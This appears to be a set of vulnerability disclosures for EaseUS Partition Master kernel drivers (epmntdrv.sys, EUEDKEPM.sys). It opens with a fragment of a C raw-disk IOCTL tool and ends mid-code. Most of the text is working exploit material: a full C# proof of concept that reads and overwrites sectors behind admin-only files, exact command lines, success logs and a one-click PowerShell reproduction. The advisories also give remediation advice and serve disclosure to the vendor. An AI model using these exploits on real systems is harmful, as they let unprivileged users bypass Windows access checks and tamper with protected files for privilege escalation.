const wchar_t *read_out = NULL;
const wchar_t *write_in = NULL;
int attach_only = 0;
int do_write = 0;
HANDLE h;
DISKBAK_ATTACH_REQ attach_req;
DWORD bytes = 0;
SIZE_T total;
DISKBAK_SECTOR_REQ *req;
DWORD data_len;
BOOL ok;
for (int i = 1; i < argc; ++i) {
if (!_wcsicmp(argv[i], L"--disk") && i + 1 < argc) {
if (!parse_u32(argv[++i], &disk)) {
fwprintf(stderr, L"[-] Invalid disk number\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--partition") && i + 1 < argc) {
if (!parse_u32(argv[++i], &partition)) {
fwprintf(stderr, L"[-] Invalid partition number\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--sector") && i + 1 < argc) {
if (!parse_u64(argv[++i], §or)) {
fwprintf(stderr, L"[-] Invalid sector index\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--count") && i + 1 < argc) {
if (!parse_u32(argv[++i], &count) || count == 0) {
fwprintf(stderr, L"[-] Invalid sector count\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--sector-size") && i + 1 < argc) {
if (!parse_u32(argv[++i], §or_size) || sector_size == 0) {
fwprintf(stderr, L"[-] Invalid sector size\n");
return 2;
}
} else if (!_wcsicmp(argv[i], L"--read") && i + 1 < argc) {
read_out = argv[++i];
} else if (!_wcsicmp(argv[i], L"--dangerous-write") && i + 1 < argc) {
write_in = argv[++i];
do_write = 1;
} else if (!_wcsicmp(argv[i], L"--attach-only")) {
attach_only = 1;
} else {
usage(argv[0]);
return 2;
}
}
if (!attach_only && !read_out && !do_write) {
usage(argv[0]);
return 2;
}
if (read_out && do_write) {
fwprintf(stderr, L"[-] Choose either --read or --dangerous-write, not both.\n");
return 2;
}
if (count > (0xffffffffu / sector_size)) {
fwprintf(stderr, L"[-] count * sector-size overflows 32-bit length.\n");
return 2;
}
h = CreateFileW(L"\\\\.\\diskbakdrv1",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
DWORD first_err = GetLastError();
h = CreateFileW(L"\\\\.\\diskbakdrv1",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"[-] Open \\\\.\\diskbakdrv1 failed: %lu (RW attempt was %lu)\n",
GetLastError(), first_err);
return 1;
}
fwprintf(stderr, L"[i] Opened with desired access 0 after RW open failed (%lu).\n", first_err);
}
ZeroMemory(&attach_req, sizeof(attach_req));
attach_req.DiskNumber = disk;
ok = DeviceIoControl(h,
IOCTL_DISKBAK_ATTACH,
&attach_req,
sizeof(attach_req),
NULL,
0,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"[-] IOCTL_DISKBAK_ATTACH failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
wprintf(L"[+] Attached driver context for disk %lu\n", disk);
if (attach_only) {
CloseHandle(h);
return 0;
}
data_len = count * sector_size;
total = (SIZE_T)FIELD_OFFSET(DISKBAK_SECTOR_REQ, Data) + (SIZE_T)data_len;
if (total > 0xffffffffULL) {
fwprintf(stderr, L"[-] Request too large.\n");
CloseHandle(h);
return 2;
}
req = (DISKBAK_SECTOR_REQ *)calloc(1, total);
if (!req) {
fwprintf(stderr, L"[-] calloc failed.\n");
CloseHandle(h);
return 1;
}
req->DiskNumber = (LONG)disk;
req->PartitionNumber = (LONG)partition;
req->SectorIndex = sector;
req->SectorCount = count;
if (do_write) {
if (!read_file_exact(write_in, req->Data, data_len)) {
free(req);
CloseHandle(h);
return 1;
}
fwprintf(stderr, L"[!] VM-only dangerous write: disk=%lu partition=%lu sector=%llu count=%lu bytes=%lu\n",
disk, partition, sector, count, data_len);
ok = DeviceIoControl(h,
IOCTL_DISKBAK_RAW_WRITE,
NULL,
0,
req,
(DWORD)total,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"[-] IOCTL_DISKBAK_RAW_WRITE failed: %lu\n", GetLastError());
free(req);
CloseHandle(h);
return 1;
}
wprintf(L"[+] Raw write IOCTL returned success.\n");
} else {
ok = DeviceIoControl(h,
IOCTL_DISKBAK_RAW_READ,
NULL,
0,
req,
(DWORD)total,
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"[-] IOCTL_DISKBAK_RAW_READ failed: %lu\n", GetLastError());
free(req);
CloseHandle(h);
return 1;
}
if (!write_file_exact(read_out, req->Data, data_len)) {
free(req);
CloseHandle(h);
return 1;
}
wprintf(L"[+] Wrote %lu bytes to %ls\n", data_len, read_out);
}
free(req);
CloseHandle(h);
return 0;
}
EaseUS Partition Master 14.5 Kernel Driver epmntdrv.sys Local Privilege Escalation
CVE-2026-12781 Summary
EaseUS Partition Master installs and loads epmntdrv.sys, which exposes a legacy device path of the form \\.\EPMNTDRV\<disk>. A standard local user can open this device, bind it to a caller-selected physical disk, and issue raw reads and writes through the driver.
In the validation below, a standard user at Medium Integrity could not directly read or write an administrator-only flag file on a temporary VHD and could not directly open \\.\PhysicalDrive1. The same user opened \\.\EPMNTDRV\1, read the protected file's NTFS data clusters, then overwrote those same clusters with a marker. Administrator readback from the protected file confirmed the write.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: EaseUS Partition Master
- Installer product version:
14.5 - Driver:
epmntdrv.sys - Driver path observed during validation:
C:\WINDOWS\system32\epmntdrv.sys - Driver SHA-256:
D0653356A2D3128256B3996AADAB10108C72CA0B13FEF85C0051784A8D906179 - Driver signature:
Valid, signerMicrosoft Windows Hardware Compatibility Publisher
Download URL and SHA-256
- Download URL:
http://download.easeus.com/free/epm.exe - File name:
epm.exe - Installer SHA-256:
85208FD27937DFEB82D6637B9C57BD61EDC5814EC72A8DF5C631F2193BB3A7C9 - Installer signer observed locally:
Chengdu Yiwo Tech Development Co., Ltd. - Installer signature status observed locally:
UnknownError - Driver load method: official installer loaded the
epmntdrvproduct kernel service.
Vulnerability Type
Local raw disk read/write access-control bypass through a kernel driver.
Impact
A standard local user can bypass Windows file and raw disk access checks through the EaseUS driver. The read primitive exposes protected file contents by raw disk offset. The write primitive allows tampering with raw disk sectors that back protected objects. On a real system disk, this class of primitive can be used to modify privileged files, registry hives, service configuration, or other security-sensitive filesystem data.
This report proves the behavior only against a temporary VHD and a self-created administrator-only test file.
Test Environment
- OS: Microsoft Windows Server 2025 Datacenter Evaluation, version
10.0.26100, 64-bit - PowerShell:
5.1.26100.7462 - Administrator context used for setup, driver installation, VHD setup, evidence collection, and cleanup
- Standard test user:
WIN-R10EKFCBLSE\low - Standard test user integrity level: Medium
- Test disk: temporary fixed VHD, 96 MB, attached as disk
1 - Protected test object:
R:\protected\admin_only_flag.bin
Reproduction Steps
The standard-user read command used by the one-click script was:
easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode read --disk 1 --offset 5869568 --length 20480 --flag-path R:\protected\admin_only_flag.bin --expect-marker EASEUS-EPMNTDRV-PROTECTED-FLAG-7f7f978c-1df5-4c48-8c53-6401f418ad77 --out C:\ProgramData\VendorRepro\easeus_epmntdrv_evidence\exploit_read_clusters.bin
The standard-user write command was:
easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode write --disk 1 --offset 5869568 --length 20480 --write-marker EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-30ff645034cf
Baseline Evidence
The protected file ACL allowed only SYSTEM and Administrators:
R:\protected\admin_only_flag.bin NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Successfully processed 1 files; Failed processing 0 files
The low-privilege process identified itself as a standard, Medium Integrity user:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
Direct access failed without the driver:
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
Exploit Evidence
The same standard-user process opened the EaseUS device and read the protected flag data from the temporary VHD:
[DRIVER] open=SUCCESS path=\\.\EPMNTDRV\1
[EXPLOIT_READ] success=True device=EPMNTDRV disk=1 offset=5869568 requested_bytes=20480 driver_reported_bytes=10485760 out=C:\ProgramData\VendorRepro\easeus_epmntdrv_evidence\exploit_read_clusters.bin
[EXPLOIT_READ] prefix=EASEUS-EPMNTDRV-PROTECTED-FLAG-7f7f978c-1df5-4c48-8c53-6401f418ad77AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[RESULT] read_marker_found=True
The same standard-user process then wrote a marker through the driver:
[DRIVER] open=SUCCESS path=\\.\EPMNTDRV\1
[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT requested_bytes=20480 driver_reported_bytes=10485760
[EXPLOIT_WRITE] success=True device=EPMNTDRV disk=1 offset=5869568 requested_bytes=20480 driver_reported_bytes=10485760
[EXPLOIT_WRITE] marker=EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-30ff645034cf
[RESULT] write_succeeded=True
Administrator readback from the protected file confirmed that the low-user write changed the protected object:
{
"expected_write_marker": "EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-30ff645034cf",
"marker_found": true,
"prefix": "EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-30ff645034cfBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
}
Why This Proves the Vulnerability
The test user is a non-administrator at Medium Integrity. Windows correctly denied that user direct access to the protected NTFS file and direct raw access to \\.\PhysicalDrive1. The same user could access the same data by opening \\.\EPMNTDRV\1, which caused epmntdrv.sys to issue lower raw disk read/write IRPs from kernel mode.
The IDA Pro MCP analysis explains the cause: the driver exposes a user-openable raw disk forwarding device, binds a caller-selected lower disk object in the create path, and forwards user read/write requests to the lower storage stack without enforcing the access checks that would normally apply to the user.
Therefore, epmntdrv.sys exposes privileged raw disk read/write functionality to standard users.
POC
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;
internal static class EaseUsRawForwarderFlagRwExploit
{
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint OPEN_EXISTING = 3;
private const uint FILE_BEGIN = 0;
private const int TOKEN_QUERY = 0x0008;
private const int TokenIntegrityLevel = 25;
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern SafeFileHandle CreateFileW(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove, IntPtr lpNewFilePointer, uint dwMoveMethod);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetTokenInformation(IntPtr tokenHandle, int tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);
private static int Main(string[] args)
{
try
{
Options opt = Options.Parse(args);
if (opt == null)
{
Usage();
return 2;
}
PrintIdentity();
if (!string.IsNullOrEmpty(opt.FlagPath))
{
BaselineProtectedFile(opt.FlagPath);
}
BaselineRawDisk(opt.Disk);
string devicePath = @"\\.\" + opt.Device + @"\" + opt.Disk;
using (SafeFileHandle h = OpenForwarder(devicePath))
{
if (h.IsInvalid)
{
Console.Error.WriteLine("[DRIVER] open=FAILED path={0} error={1}", devicePath, Marshal.GetLastWin32Error());
return 1;
}
Console.WriteLine("[DRIVER] open=SUCCESS path={0}", devicePath);
if (opt.Mode == "read")
{
int reportedBytes;
byte[] data = RawRead(h, opt.OffsetBytes, checked((int)opt.LengthBytes), out reportedBytes);
File.WriteAllBytes(opt.OutPath, data);
string prefix = AsciiPreview(data, 256);
bool found = !string.IsNullOrEmpty(opt.ExpectMarker) && Encoding.ASCII.GetString(data).Contains(opt.ExpectMarker);
Console.WriteLine("[EXPLOIT_READ] success=True device={0} disk={1} offset={2} requested_bytes={3} driver_reported_bytes={4} out={5}", opt.Device, opt.Disk, opt.OffsetBytes, data.Length, reportedBytes, opt.OutPath);
Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
if (!string.IsNullOrEmpty(opt.ExpectMarker))
{
Console.WriteLine("[RESULT] read_marker_found={0}", found);
return found ? 0 : 3;
}
return 0;
}
byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
int writeReportedBytes = RawWrite(h, opt.OffsetBytes, payload);
Console.WriteLine("[EXPLOIT_WRITE] success=True device={0} disk={1} offset={2} requested_bytes={3} driver_reported_bytes={4}", opt.Device, opt.Disk, opt.OffsetBytes, payload.Length, writeReportedBytes);
Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
Console.WriteLine("[RESULT] write_succeeded=True");
return 0;
}
}
catch (Exception ex)
{
Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
return 1;
}
}
private static SafeFileHandle OpenForwarder(string devicePath)
{
return CreateFileW(devicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}
private static byte[] RawRead(SafeFileHandle h, ulong offset, int length, out int reportedBytes)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(length);
try
{
ZeroMemory(buf, length);
if (!ReadFile(h, buf, length, out reportedBytes, IntPtr.Zero))
{
throw new InvalidOperationException("ReadFile through vendor device failed: " + Marshal.GetLastWin32Error());
}
byte[] data = new byte[length];
Marshal.Copy(buf, data, 0, length);
return data;
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static int RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(payload.Length);
try
{
Marshal.Copy(payload, 0, buf, payload.Length);
int wrote;
bool ok = WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero);
int lastError = Marshal.GetLastWin32Error();
if (!ok)
{
throw new InvalidOperationException("WriteFile through vendor device failed: " + lastError);
}
if (wrote < payload.Length)
{
throw new InvalidOperationException("WriteFile through vendor device reported too few bytes: requested=" + payload.Length + " reported=" + wrote + " error=" + lastError);
}
if (wrote != payload.Length)
{
Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT requested_bytes={0} driver_reported_bytes={1}", payload.Length, wrote);
}
else
{
Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS requested_bytes={0} driver_reported_bytes={1}", payload.Length, wrote);
}
return wrote;
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static void BaselineProtectedFile(string path)
{
try
{
File.ReadAllBytes(path);
Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path, ex.Message);
}
try
{
File.WriteAllText(path, "SHOULD-NOT-WRITE");
Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path, ex.Message);
}
}
private static void BaselineRawDisk(uint disk)
{
string path = @"\\.\" + "PhysicalDrive" + disk;
using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
{
if (h.IsInvalid)
{
Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path, Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}", path);
}
}
}
private static void PrintIdentity()
{
WindowsIdentity id = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(id);
Console.WriteLine("[IDENTITY] user={0}", id.Name);
Console.WriteLine("[IDENTITY] is_administrator={0}", principal.IsInRole(WindowsBuiltInRole.Administrator));
Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
}
private static string GetIntegrityLevel()
{
IntPtr token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
try
{
int needed;
GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
IntPtr buf = Marshal.AllocHGlobal(needed);
try
{
if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed)) return "unknown";
IntPtr sid = Marshal.ReadIntPtr(buf);
int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
if (rid >= 0x4000) return "System";
if (rid >= 0x3000) return "High";
if (rid >= 0x2000) return "Medium";
if (rid >= 0x1000) return "Low";
return "Untrusted";
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
finally
{
CloseHandle(token);
}
}
private static byte[] MakePayload(string marker, int length)
{
if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is required.");
byte[] payload = new byte[length];
byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
return payload;
}
private static string AsciiPreview(byte[] data, int max)
{
int len = Math.Min(data.Length, max);
return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r", "\\r").Replace("\n", "\\n");
}
private static void ZeroMemory(IntPtr ptr, int length)
{
byte[] zeros = new byte[Math.Min(4096, length)];
int offset = 0;
while (offset < length)
{
int chunk = Math.Min(zeros.Length, length - offset);
Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
offset += chunk;
}
}
private static void Usage()
{
Console.Error.WriteLine("Usage:");
Console.Error.WriteLine(" easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --out OUT.bin");
Console.Error.WriteLine(" easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
Console.Error.WriteLine(" --device may be EPMNTDRV or EUEDKEPM when the matching driver is loaded.");
}
private sealed class Options
{
public string Device = "EPMNTDRV";
public string Mode = "read";
public uint Disk;
public ulong OffsetBytes;
public ulong LengthBytes;
public string FlagPath;
public string ExpectMarker;
public string WriteMarker;
public string OutPath;
public static Options Parse(string[] args)
{
Options opt = new Options();
for (int i = 0; i < args.Length; i++)
{
string a = args[i].ToLowerInvariant();
if (a == "--device" && i + 1 < args.Length) opt.Device = args[++i];
else if (a == "--mode" && i + 1 < args.Length) opt.Mode = args[++i].ToLowerInvariant();
else if (a == "--disk" && i + 1 < args.Length) opt.Disk = UInt32.Parse(args[++i]);
else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes = UInt64.Parse(args[++i]);
else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes = UInt64.Parse(args[++i]);
else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker = args[++i];
else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker = args[++i];
else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
else return null;
}
if (opt.Mode != "read" && opt.Mode != "write") return null;
if (string.IsNullOrWhiteSpace(opt.Device)) return null;
foreach (char c in opt.Device)
{
if (!char.IsLetterOrDigit(c) && c != '_' && c != '-') return null;
}
if (opt.LengthBytes == 0) return null;
if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
return opt;
}
}
}
EaseUS Partition Master 14.5 Kernel Driver EUEDKEPM.sys Local Privilege Escalation
CVE-2026-12782 Summary
EaseUS Partition Master installs EUEDKEPM.sys, a raw disk forwarding kernel driver that exposes a device path of the form \\.\EUEDKEPM\<disk>. A standard local user can open this device and issue raw reads and writes against a caller-selected physical disk number.
In this validation, a standard user at Medium Integrity could not directly read or write an administrator-only test file and could not directly open the underlying raw disk. The same user then used \\.\EUEDKEPM\1 to read the file's NTFS data clusters from a controlled temporary VHD and to overwrite the same protected file data. Administrator readback confirmed the write marker in the protected file.
This is a local Windows access-control bypass. The driver performs lower-disk I/O in kernel mode and exposes privileged raw disk functionality to an unprivileged caller. An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: EaseUS Partition Master
- Installer product version:
14.5 - Driver:
EUEDKEPM.sys - Driver path observed during validation:
C:\WINDOWS\System32\drivers\EUEDKEPM.sys - Driver SHA-256:
C47AB92B8ECABF409EEBCA75AF0EF42C2A9427B0C510E951031A3A7453E9BC90 - Driver signature:
Valid - Driver signer:
Microsoft Windows Hardware Compatibility Publisher
Download URL and SHA-256
- Download URL:
http://download.easeus.com/free/epm.exe - File name:
epm.exe - Installer SHA-256:
85208FD27937DFEB82D6637B9C57BD61EDC5814EC72A8DF5C631F2193BB3A7C9 - Installer signer observed locally:
Chengdu Yiwo Tech Development Co., Ltd. - Installer signature status observed locally:
UnknownError
Vulnerability Type
Local raw disk read/write access-control bypass.
Impact
A standard local user can bypass Windows file and raw disk access checks by routing raw disk operations through EUEDKEPM.sys.
The proof used only a controlled temporary VHD and a protected test file. The security impact generalizes to any disk object the driver can open and forward to: protected file disclosure, protected file tampering, offline modification of on-disk application data, and possible privilege escalation when writable protected data influences privileged code or configuration.
Test Environment
- Host:
WIN-R10EKFCBLSE - OS: Microsoft Windows Server 2025 Datacenter Evaluation, version
10.0.26100, 64-bit - PowerShell:
5.1.26100.7462 - Administrator context used for setup, driver loading, and cleanup
- Standard test user context used for exploitation:
WIN-R10EKFCBLSE\low - Standard test user integrity level: Medium
- Test disk: temporary fixed VHD, 96 MB
- Protected test object:
R:\protected\admin_only_flag.bin
Reproduction Steps
Run from an elevated PowerShell prompt:
$env:VENDOR_REPRO_LOW_PASSWORD = '<standard-user-password>'
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -UseEnvPassword -AttemptWrite
Remove-Item Env:\VENDOR_REPRO_LOW_PASSWORD
Alternatively omit -UseEnvPassword and the script will prompt for the standard user's credential:
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -AttemptWrite
What The Script Does
- Downloads the official EaseUS Partition Master installer from
http://download.easeus.com/free/epm.exeif needed. - Compiles the low-privilege C# exploit.
- Installs EaseUS Partition Master into
C:\ProgramData\VendorRepro\easeus_partition_master. - Finds the installed
C:\WINDOWS\System32\drivers\EUEDKEPM.sysdriver and records its SHA-256 and signature. - Creates a temporary
EUEDKEPMReprokernel service, setsDeviceName=EUEDKEPM, and starts the driver. - Creates and formats a temporary 96 MB VHD.
- Creates
R:\protected\admin_only_flag.binwith a unique marker, write-through file output, and an ACL granting access only toSYSTEMandAdministrators. - Resolves the flag's first NTFS data run and computes its absolute disk offset.
- Runs the exploit as the standard user. The exploit performs baseline checks and then reads the flag data through
\\.\EUEDKEPM\<disk>. - When
-AttemptWriteis supplied, writes a second marker through\\.\EUEDKEPM\<disk>to the same controlled VHD location. - Verifies the write by reading the protected file back as Administrator.
- Dismounts the temporary VHD, stops and deletes the temporary driver service, uninstalls the product, removes test directories, and keeps the evidence directory.
Expected Successful Output
Read phase:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
[DRIVER] open=SUCCESS path=\\.\EUEDKEPM\1
[RESULT] read_marker_found=True
Write phase:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
[DRIVER] open=SUCCESS path=\\.\EUEDKEPM\1
[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT requested_bytes=20480 driver_reported_bytes=10485760
[RESULT] write_succeeded=True
Administrator verification:
{
"marker_found": true
}
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Direct access to the protected NTFS file failed. Direct access to \\.\PhysicalDrive1 also failed with Windows error 5 (Access is denied). The only successful path was through \\.\EUEDKEPM\1.
Through that driver path, the same standard user read a unique marker from an administrator-only file and then wrote a second marker into the same protected file data. Administrator readback confirmed the write. Therefore, EUEDKEPM.sys exposes privileged raw disk read/write functionality without enforcing the expected Windows access checks.
Cleanup Steps
The script cleaned up the controlled test objects and temporary service:
SERVICE_NAME: EUEDKEPMRepro
TYPE : 1 KERNEL_DRIVER
STATE : 1 STOPPED
[SC] DeleteService SUCCESS
uninstaller exit=0
WorkRoot exists after cleanup: False
InstallDir exists after cleanup: False
EUEDKEPMRepro service query after cleanup:
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.
Post-cleanup checks showed that EUEDKEPM, EUEDKEPMRepro, and epmntdrv services were absent. A separate EaseUS driver service, EUDCPEPM, remained running in a not-stoppable state and was already marked for deletion by the Service Control Manager; no reboot or shutdown was performed.
Suggested Remediation
- Do not expose raw disk forwarding devices to unprivileged users.
- Create device objects with
IoCreateDeviceSecureand a restrictive SDDL that permits only administrators or a trusted service SID. - Use
FILE_DEVICE_SECURE_OPENwhere applicable. - Require explicit caller authorization before forwarding raw disk reads, raw disk writes, or disk IOCTLs to lower storage stacks.
- Avoid forwarding caller-selected disk numbers and offsets directly to disk devices. If raw disk operations are required, route them through a privileged broker service that enforces target allowlists and operation policy.
- Fix completed byte count reporting so forwarded read/write requests report the actual byte count instead of
requested_length << 9.
POC
easeus_raw_forwarder_flag_rw_exploit.cs
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;
internal static class EaseUsRawForwarderFlagRwExploit
{
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint OPEN_EXISTING = 3;
private const uint FILE_BEGIN = 0;
private const int TOKEN_QUERY = 0x0008;
private const int TokenIntegrityLevel = 25;
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern SafeFileHandle CreateFileW(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove, IntPtr lpNewFilePointer, uint dwMoveMethod);
[DllImport("kernel32.dll", SetLastError = true)]
